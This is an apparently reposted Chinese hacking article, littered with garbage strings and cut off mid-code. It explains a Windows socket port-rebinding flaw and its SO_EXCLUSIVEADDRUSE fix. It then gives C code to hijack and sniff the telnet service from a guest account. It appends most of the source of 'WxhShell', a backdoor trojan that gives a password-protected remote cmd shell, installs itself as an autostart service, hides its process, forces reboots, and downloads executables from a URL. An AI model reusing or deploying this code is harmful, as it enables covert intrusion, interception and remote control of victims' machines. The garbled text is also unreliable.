在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#$xiqL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\?-`?QPux |1H"ya saddr.sin_family = AF_INET;
h_4o4# -Cwx % saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'G3B02* )/h~csy:~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$D8eCjUm %ci/(wL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@cNX\$J ]R/VE"- 这意味着什么?意味着可以进行如下的攻击:
`d,hP"jBc -"iGcVV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5QU7!jbI +2=N#LM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
a!}.l< ) wn[q?|1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k/W$)b:Of` 6;U]l. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lL~T@+J~ 0t<]Uf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+]/_gz 5An|#^] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MzRURH, ~HD:Y7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CRvUD.D $[iSZ ; #include
GcQO&oq| #include
r*<)QP^B~ #include
8
M3Q8& #include
pS
vDH- DWORD WINAPI ClientThread(LPVOID lpParam);
rxQn[ int main()
OwrzD~ {
jQOY \1SR WORD wVersionRequested;
@a)
x^d DWORD ret;
pPm[<^\# S WSADATA wsaData;
E_]L8UC;m
BOOL val;
/w{DyHT SOCKADDR_IN saddr;
#r;
'AG SOCKADDR_IN scaddr;
.w^M?}dx int err;
/u{ 9UR[g SOCKET s;
L3P _ SOCKET sc;
A.m#wY8 int caddsize;
.4A4\-Cqe HANDLE mt;
Ub%+8M DWORD tid;
XX",&cp02V wVersionRequested = MAKEWORD( 2, 2 );
Wq8Uq}~_g err = WSAStartup( wVersionRequested, &wsaData );
t0p^0 if ( err != 0 ) {
<#JJS}TLk printf("error!WSAStartup failed!\n");
DoAK]zyJA
return -1;
MCU{@\?Xf }
wxEFM)zr saddr.sin_family = AF_INET;
*yOpMxE A@#9X'C$^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
nC^?6il
2>0[^ .;" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GEXT8f(7 saddr.sin_port = htons(23);
g,U~3# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MjNCn&c {
SeqnO.\ printf("error!socket failed!\n");
7%L%dyN return -1;
6*Jd8Bva\o }
fD#|C~:= val = TRUE;
:;\>jxA //SO_REUSEADDR选项就是可以实现端口重绑定的
a(s}Ec${Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_Dl!iV05: {
e~jw
YImA printf("error!setsockopt failed!\n");
}Og zSnR return -1;
IF%^HK@ }
3 <RkUmR //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LJDX6]4n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QN:gSS{30 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Zso&.IATng /rN%y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g2.%x \d {
J:Uf}!D ret=GetLastError();
h"cLZM:6 printf("error!bind failed!\n");
:ak D return -1;
NJSzOL_ }
sF^3KJ| listen(s,2);
fw,ruROqD while(1)
aN{C86wx {
Dp!3uR']p caddsize = sizeof(scaddr);
'`$a l7D //接受连接请求
n}PK0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{C Qo}@.7 if(sc!=INVALID_SOCKET)
He="S3XON {
'$*d:1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1BUdl=o>S if(mt==NULL)
Lzu;"#pw {
gsd9QW printf("Thread Creat Failed!\n");
aQ mgDF break;
>lQ&^9EI% }
2
|w;4 }
GJW+'-f CloseHandle(mt);
9qkH~B7 }
V`?2g_4N closesocket(s);
Z{RRhJ WSACleanup();
mz;S*ONlV return 0;
gBz$RfyF }
Ac!,#Fq DWORD WINAPI ClientThread(LPVOID lpParam)
)[Bwr
bn {
rMAH YH9 SOCKET ss = (SOCKET)lpParam;
>HO{gaRM SOCKET sc;
Y ::\;s unsigned char buf[4096];
XbdoTriE SOCKADDR_IN saddr;
|9ro&KA long num;
YJ_`[LnL DWORD val;
j|!.K|9B DWORD ret;
JCZ"#8M3 //如果是隐藏端口应用的话,可以在此处加一些判断
&x19]?D"+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'{WYho! saddr.sin_family = AF_INET;
5"xZ'M~= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j>X;a39| saddr.sin_port = htons(23);
4a]m=]Hm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4&;.>{:; {
B8-v!4b0` printf("error!socket failed!\n");
zlzr;7m return -1;
N8|=K_;& }
hM\<1D
CKG val = 100;
CLU !/J$! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'jWd7w~( {
c0jdZ#H ret = GetLastError();
[b-27\b return -1;
n~N>c*p }
e_s9E{( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*f|9A/*B3 {
T">-%-t ret = GetLastError();
2T/C!^iJ) return -1;
x
\B!0"~ }
z)"7qqA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y]QG; {
hWpn~q printf("error!socket connect failed!\n");
'(A)^K>+ closesocket(sc);
T0n=nC}< closesocket(ss);
%\#s@8=2u return -1;
J&UFP{) }
|1J=wp)# while(1)
+RS>#zd/= {
Q>[*Y/`I //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
i>6SY83B} //如果是嗅探内容的话,可以再此处进行内容分析和记录
rks+\e}^Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
T5_z^7d num = recv(ss,buf,4096,0);
6He 7A@Eh if(num>0)
2/S~l;x send(sc,buf,num,0);
0HK03& else if(num==0)
GgkljF@{} break;
e&Z}struE num = recv(sc,buf,4096,0);
_KiaeVE if(num>0)
INSI$tA~ send(ss,buf,num,0);
-\:#z4Tc else if(num==0)
Q#xeu break;
'SF+P)Kmz }
|eL&hwqzG closesocket(ss);
iA*Z4FKkT closesocket(sc);
a*JM2^,HO return 0 ;
|,M&ks }
r*]0PQ{? lQQXV5NV s mub> V ==========================================================
?6.vd]oNO }T%;G /W 下边附上一个代码,,WXhSHELL
8>a/x , {Pm^G^EP ==========================================================
?l#9ydi? rm2"pfs #include "stdafx.h"
%98F>wl /!ZeMY:x #include <stdio.h>
,?i^i#Wqzg #include <string.h>
~d6_ #include <windows.h>
JoQzf~ #include <winsock2.h>
q:sDNj)R\ #include <winsvc.h>
6W$ #`N> #include <urlmon.h>
`84pql, NhQIpzL) #pragma comment (lib, "Ws2_32.lib")
b $x<7l5C #pragma comment (lib, "urlmon.lib")
mLX1w)=r fVv#| #define MAX_USER 100 // 最大客户端连接数
ie+&@u #define BUF_SOCK 200 // sock buffer
hH:7 #define KEY_BUFF 255 // 输入 buffer
!J!zi pgz3d{]ua #define REBOOT 0 // 重启
1;r^QAK& #define SHUTDOWN 1 // 关机
Va Z+TE =MO2M~e! #define DEF_PORT 5000 // 监听端口
FV^CSaN[R ;`g\T u #define REG_LEN 16 // 注册表键长度
o+{}O_r #define SVC_LEN 80 // NT服务名长度
3=~"<f
l -H~g+i*J // 从dll定义API
>R3~P~@30 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_i~n!v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]YkF^Pf!v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[9UKVnX.V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%lNWaA E
}|g3 // wxhshell配置信息
(WiA struct WSCFG {
!OM9aITv[ int ws_port; // 监听端口
\lHi=}0 char ws_passstr[REG_LEN]; // 口令
="
K;3a`GI int ws_autoins; // 安装标记, 1=yes 0=no
5P{dey! char ws_regname[REG_LEN]; // 注册表键名
K
!8+~[ char ws_svcname[REG_LEN]; // 服务名
8yax.N
j char ws_svcdisp[SVC_LEN]; // 服务显示名
qT#+DDEAL char ws_svcdesc[SVC_LEN]; // 服务描述信息
f|Kd{ $VO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
65AXUTg int ws_downexe; // 下载执行标记, 1=yes 0=no
U,)Ngnd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_v4TyJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w_G/[R3 7|PpAvMF };
#G{}Rd|! gVCkj!{ // default Wxhshell configuration
||hy+f[A struct WSCFG wscfg={DEF_PORT,
D2|-\vJ> "xuhuanlingzhe",
nk9hQRP?
8 1,
*{tn/ro6a "Wxhshell",
a{Y:hrd:Z "Wxhshell",
DCX4!,ZF "WxhShell Service",
@I}:HiF "Wrsky Windows CmdShell Service",
>=^g%K$L6J "Please Input Your Password: ",
Mo
&Ia6^ 1,
#O]F5JB "
http://www.wrsky.com/wxhshell.exe",
&w:"e'FG` "Wxhshell.exe"
0:Js{$ZL4 };
kM]:~b2 ,0[8/)$M // 消息定义模块
xr!FDfM.K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
is{I5IR\/ char *msg_ws_prompt="\n\r? for help\n\r#>";
Gh0H)
q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VY<v?Of
i- char *msg_ws_ext="\n\rExit.";
^te9f%>$l char *msg_ws_end="\n\rQuit.";
m}6GVQ'Q char *msg_ws_boot="\n\rReboot...";
rS/Q char *msg_ws_poff="\n\rShutdown...";
NFY,$ char *msg_ws_down="\n\rSave to ";
:BCjt@K} ttLChL char *msg_ws_err="\n\rErr!";
-Qo`UL.} char *msg_ws_ok="\n\rOK!";
dW;{,Q X;sl?8HG!< char ExeFile[MAX_PATH];
`Q1T-H_ int nUser = 0;
#!h:w HANDLE handles[MAX_USER];
^R1
nOo/ int OsIsNt;
T2Cdw\ +OK.[ji? SERVICE_STATUS serviceStatus;
R|{AIa{} SERVICE_STATUS_HANDLE hServiceStatusHandle;
kxoJL6IC O(,Ezyx // 函数声明
ru3nnF_I int Install(void);
s['F?GWg int Uninstall(void);
JO5~Vj_" int DownloadFile(char *sURL, SOCKET wsh);
]eb9Fq:N7 int Boot(int flag);
E&
T9R2Y void HideProc(void);
*La*j3|: int GetOsVer(void);
Zp@p9][C int Wxhshell(SOCKET wsl);
QpS0iUG void TalkWithClient(void *cs);
^SxB b,\ int CmdShell(SOCKET sock);
eznw05U int StartFromService(void);
8U\;N int StartWxhshell(LPSTR lpCmdLine);
9%oLv25{) xBG&ZM4"^f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/#9O{) VOID WINAPI NTServiceHandler( DWORD fdwControl );
HoymGU`w M]jzbJ3Q // 数据结构和表定义
$ePAsJ SERVICE_TABLE_ENTRY DispatchTable[] =
~6!=_" {
?)Z~H,Q(z {wscfg.ws_svcname, NTServiceMain},
R_uA!MoLs {NULL, NULL}
"vH@b_>9| };
$q
DH Gw!jYnU // 自我安装
B^U5=L[:p int Install(void)
Ha$|9li` {
J[L$8y: char svExeFile[MAX_PATH];
Mb3,! HKEY key;
+%eMm.( strcpy(svExeFile,ExeFile);
,V)yOLApVj vkE6e6,Qc // 如果是win9x系统,修改注册表设为自启动
"<3PyW?zt if(!OsIsNt) {
^O#,%>1J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y2\, L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZNFn^iuQ RegCloseKey(key);
Vj0`*nC)/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$b\Gl=YX^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S#!PDg RegCloseKey(key);
j !&g:{ e return 0;
+;`Cm.Iu }
/QHvwaW[ }
o&rejj# }
}pPxN@X else {
Kx*;!3-V$ PPDm*,T. // 如果是NT以上系统,安装为系统服务
.pu]21m= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
yXc/Nl% if (schSCManager!=0)
:2 ?dl:l {
$Xk1'AzB8 SC_HANDLE schService = CreateService
)eY3[>` (
cliP+# schSCManager,
n1DD+@ wscfg.ws_svcname,
n0@e%=H)I wscfg.ws_svcdisp,
L\nWhmwl SERVICE_ALL_ACCESS,
t LS5yT/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L2P~moVIi SERVICE_AUTO_START,
ED[PP2[/ SERVICE_ERROR_NORMAL,
Sq-mH=rs] svExeFile,
s=~r. x NULL,
r@"Vbq% NULL,
_R]la&^2F\ NULL,
rxIfatp^ NULL,
*7nlel NULL
3tS~/o+]
);
mcb0% if (schService!=0)
>\^:xxTf {
\W(C=e CloseServiceHandle(schService);
hn)mNb! CloseServiceHandle(schSCManager);
a5?Rj~h!< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Pf]6'?kQ strcat(svExeFile,wscfg.ws_svcname);
3VB{Qj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$eX ;
2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4tCyd5u a8 RegCloseKey(key);
8D)*~C'85E return 0;
-HP [IJP }
$?(fiFC }
ss236& CloseServiceHandle(schSCManager);
x76<u:
}
'2/48j X5 }
}7X85@jC ]|Vm*zO return 1;
t{Q9Kv }
#";(&|7 FX+Ra@I! // 自我卸载
C \H%4p1r int Uninstall(void)
fE|([` ! {
M!,$i HKEY key;
PD:"
SfV,G L 2Os\ if(!OsIsNt) {
Ue^upx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5bH@R@3 m RegDeleteValue(key,wscfg.ws_regname);
B<H5WI RegCloseKey(key);
}a'8lwF%I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W _yVVr RegDeleteValue(key,wscfg.ws_regname);
(VWTYG7 RegCloseKey(key);
U:#9!J?41 return 0;
mUm9[X~' }
@;G}bYq^(I }
Tr(w~et }
3E+u)f lmB else {
:p=IZY PE]jYyyHtU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V!DQ_T+a if (schSCManager!=0)
Fj7cI + {
(m-(5 CaJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D5]T.8kX(7 if (schService!=0)
My5h;N@C {
BQ)zm if(DeleteService(schService)!=0) {
pI( OI>~3 CloseServiceHandle(schService);
)4D |sN CloseServiceHandle(schSCManager);
AHIk7[w return 0;
yw{GO([ZQ }
QApil CloseServiceHandle(schService);
]p `#KVW }
=eDVgOZ) CloseServiceHandle(schSCManager);
/V2Ih }
mG1=8{o^ }
bEMD2ABm =Mc*~[D/ return 1;
|*fGG?} }
V'mQ{[{R C^2Tql // 从指定url下载文件
\.POb5]p0 int DownloadFile(char *sURL, SOCKET wsh)
/U`"Xx {
y7u"a)T HRESULT hr;
=BMON{K char seps[]= "/";
]pzf{8% char *token;
f]qPxRw char *file;
V[(zRGa{ char myURL[MAX_PATH];
(c axl^= char myFILE[MAX_PATH];
6*lTur9ni lN<vu# strcpy(myURL,sURL);
TXv3@/>ZlG token=strtok(myURL,seps);
Elom_ while(token!=NULL)
~ Z=Q+'Hu0 {
Z7V1e<E file=token;
%S.
_3`A token=strtok(NULL,seps);
<2fZYt vt }
f2`[skNj dli?/U@hO GetCurrentDirectory(MAX_PATH,myFILE);
Ww{bh-nyq strcat(myFILE, "\\");
,?3r-bM strcat(myFILE, file);
&j<B22t! send(wsh,myFILE,strlen(myFILE),0);
mcP]k8?C send(wsh,"...",3,0);
YiTiJ9jf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\3"4;fM!i if(hr==S_OK)
}:])1!a return 0;
;/XWX$G@ else
"@xI
return 1;
X/}kNW!q -v/1R1$e1 }
Ovxs+mQ [1F.
// 系统电源模块
k-Hy>5; int Boot(int flag)
Kyq/'9` {
.D(H@3qA@ HANDLE hToken;
DJdW$S7 TOKEN_PRIVILEGES tkp;
Tv_KdOv8 3,8<5)ds* if(OsIsNt) {
]]Sz|6 P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%?Yf!)owh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
w<!F& kQB tkp.PrivilegeCount = 1;
^RAst1q7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<'>c`80@\* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
v,I4ozDx if(flag==REBOOT) {
=2F;'T\6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
zVKbM3(^ return 0;
_D1Uc| }
7?9QlUO else {
>gRb.-{ux if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zR_ " return 0;
s!:'3[7+
}
$Ypt
/` }
A(V,qw8 else {
n`8BE9h^ if(flag==REBOOT) {
J$F
1sy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{ 0RwjPYp return 0;
_ I"}3* }
v*iD)k:|t else {
K|%.mcs4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y-6k<RN return 0;
*'H0%GM }
O`j1~o<{ }
Lp.dF)C\ "Rr)1x7 return 1;
w<#/ngI2 }
!w2J*E\ Q"7vzri // win9x进程隐藏模块
Y&!-VW void HideProc(void)
L1ro\ H {
\f\CK@ o-a\T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
He vZ}. if ( hKernel != NULL )
a> qB
k}) {
[U'I3x, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c|m*<
i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NXo$rf: FreeLibrary(hKernel);
@( p9} }
5, " )-VpDW!%_ return;
iga.B }
KG<. s< +i^@QNOa // 获取操作系统版本
cZC%W!pT int GetOsVer(void)
5QN~^ {
3w!8PPl OSVERSIONINFO winfo;
'tvX.aX2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
cQ}3?
v GetVersionEx(&winfo);
xKl\:}Ytp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
AK$&'t+$}7 return 1;
*ThP->&:( else
4FQB%3>* return 0;
A\ARjSdb }
'^B[Krs'Z` Cq8.^=}_ // 客户端句柄模块
8! eYax int Wxhshell(SOCKET wsl)
[GQn1ZLc {
FxU a5n SOCKET wsh;
9U&~H*Hf struct sockaddr_in client;
42$ pvw< DWORD myID;
8k +^jj |ht:_l
8 while(nUser<MAX_USER)
7md,!|m {
R&.mNji* int nSize=sizeof(client);
fVf
@Ngvu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(;VlK#rnC if(wsh==INVALID_SOCKET) return 1;
":@\kw ~'1gX`o: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&A}hx\_T if(handles[nUser]==0)
B']-4X{SGa closesocket(wsh);
fk&>2[^& else
rj}O2~W~4 nUser++;
sg` }
(yrN-M4~t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:3b.`s(M boS= return 0;
A |u-VXQ }
H46N!{<;@ 6 &Lr/J76 // 关闭 socket
Ef @ void CloseIt(SOCKET wsh)
r)S:-wP {
0:I[;Qt closesocket(wsh);
sGFvSW nUser--;
%>'Zy6C<j ExitThread(0);
?7=c` }
`6y=ky., [[$dPa9 // 客户端请求句柄
\)$: void TalkWithClient(void *cs)
=j~BAS*" {
5(5:5q.A/D
2nf<RE> SOCKET wsh=(SOCKET)cs;
IJ]rVty char pwd[SVC_LEN];
A=W:}szt] char cmd[KEY_BUFF];
_mWVZ1P char chr[1];
]*?lgwE int i,j;
&&% oazR= k,eo+qH.Hz while (nUser < MAX_USER) {
}ChS cY |
|"W=E if(wscfg.ws_passstr) {
1-V"uLy@gC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D*&#}c,* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F[(ocxQZ3 //ZeroMemory(pwd,KEY_BUFF);
E)%DLZ i=0;
+pPfvE` while(i<SVC_LEN) {
ee/3=/H|; `^ZhxFX // 设置超时
EDT9O fd_set FdRead;
/q,vQ[R/ struct timeval TimeOut;
D%}rQ,* FD_ZERO(&FdRead);
t!-\:8n
FD_SET(wsh,&FdRead);
{oSdVRI TimeOut.tv_sec=8;
6l'J!4*qY TimeOut.tv_usec=0;
KFgq3snH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$J8g)cS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/ 3eGt7x# !\VzX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x(n|zp (" pwd
=chr[0]; v%rmfI U
if(chr[0]==0xd || chr[0]==0xa) { |'Z+`HI
pwd=0; B"YN+So
break; nW)?cQ
I
} A+|bJ>q
i++; J#W*,%8O
} WeJ=]7T'L
IwXWtVL
// 如果是非法用户,关闭 socket kXV;J$1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +E^2]F7Zk
} vHZq
z<
H#i,Ve'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C7O8B;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N5c*#lHI
0!-'4+"
while(1) { ebn3r:IU-
E{0e5. {
ZeroMemory(cmd,KEY_BUFF); Qr\eT}
+ -uQ] ^n
// 自动支持客户端 telnet标准 <6Y|vEo!N
j=0; _\=x
A6!
while(j<KEY_BUFF) { )DmydyQ'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CBO*2?]s
cmd[j]=chr[0]; ",l6-<s
if(chr[0]==0xa || chr[0]==0xd) { wPEK5=\4Ob
cmd[j]=0; mv>0j<C91
break; mPU}]1*p
} @F]w]d
j++; SwsJ<Dq^z
} R#3zGWr~
lz!(OO,g
// 下载文件 6cd!;Ca
if(strstr(cmd,"http://")) { g$ HL::
send(wsh,msg_ws_down,strlen(msg_ws_down),0); No"i6R+
if(DownloadFile(cmd,wsh)) ul3~!9F5F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw djBMte
else 8 :WN@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w$IUm_~waa
} 4#{f8
else { >?1GJ5]\s
udT0`6l;
switch(cmd[0]) { fF(AvMsO
O=t~.]))
// 帮助 ~5&B#Sm[G
case '?': { #K0/ >W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )w~1VcnJEp
break; tA^+RO4
} 43E)ltR=]
// 安装 9Nps<+K
case 'i': { 1.M<u)1GU
if(Install()) m62Zta
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[F})u]E
else Td,d9M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4qQE9fxdY
break; "b402"&
} +.&P$`;TZj
// 卸载 ?%`Ph ?BZl
case 'r': { V@]SKbK}wN
if(Uninstall()) GMg!2CIU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$xpZm60
else ~r?tFE*+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KTt+}-vP^
break; !zt>& t
} `-%dHvB^R
// 显示 wxhshell 所在路径 Cu5_OJ
case 'p': { cpl Ny?UIC
char svExeFile[MAX_PATH]; Ux1j +}y
strcpy(svExeFile,"\n\r"); T9}~]zW7P
strcat(svExeFile,ExeFile); qSlo)aP
send(wsh,svExeFile,strlen(svExeFile),0); YzQ(\._s
break; `y61Bz
} L){V(*K '
// 重启 xe^M2$clb\
case 'b': { F53
.g/[
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g0"xG}d
if(Boot(REBOOT)) iZ>P>x\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p6NPWaBR
else { _h4]gZ
closesocket(wsh); q6N{N>-D
ExitThread(0); 1X2|jj
} kkfBVmuW
break; k-a1^K3
} I{[}1W3]W
// 关机 5k@T{
case 'd': { R(pQu!
K4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P>u2""c
if(Boot(SHUTDOWN)) )5n0P
Zi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!l.ze{F
else { $W=)-X\>
closesocket(wsh); -<k)|]8
ExitThread(0); %E/#h8oN{
} +,,dsL
break; xOPQ~J|z
} cLp_\\
// 获取shell 5=8v\q?)c
case 's': { t\LE\[XM>
CmdShell(wsh); 50dN~(;p
closesocket(wsh); )b (+=
ExitThread(0); \BH?GMoP
break; W!T[
^+
} s-5#P,Lw
// 退出 7FkiT
case 'x': { VRgckh
m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n|? sNM<J3
CloseIt(wsh); OM^`P
break; H;NAS/OhS
} ?]bx]Y;
// 离开 ZbVn"he
case 'q': { )X," NJG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "=K3sk
closesocket(wsh); V~#5^PF{
WSACleanup(); I$S*elveG
exit(1); sVFX(yx0
break; Xs|d#WbX
} L~e0^X?
} ;F*^c
)
} m>48?%
rXzq:
// 提示信息 [kpQ:'P3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >r
C*.
} 6W
} s o1
Xjxa
2D
return; L4T\mP7D7*
} |A,.mOT
Jw}&[
// shell模块句柄 fQ"Vx!
int CmdShell(SOCKET sock) 0}`.Z03fy
{ [_`yy
STARTUPINFO si; g"Hl 30o
ZeroMemory(&si,sizeof(si)); 3?<A]"X.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }6pr.-J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Ix`/k}
PROCESS_INFORMATION ProcessInfo; K@DFu5
char cmdline[]="cmd";
<&`Rf6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BMQ4i&kF|
return 0; ~N}Zr$D
} 4,W,E4 7
J!RRG~
// 自身启动模式 _1O .{O
int StartFromService(void) qhG2j;
{ mJd8?d
typedef struct "[k>pzl6
{ yMM2us#*+q
DWORD ExitStatus; b@=H$"
DWORD PebBaseAddress; ]8OmYU%6V
DWORD AffinityMask; Ake l .&
DWORD BasePriority; wj0_X;L
ULONG UniqueProcessId;
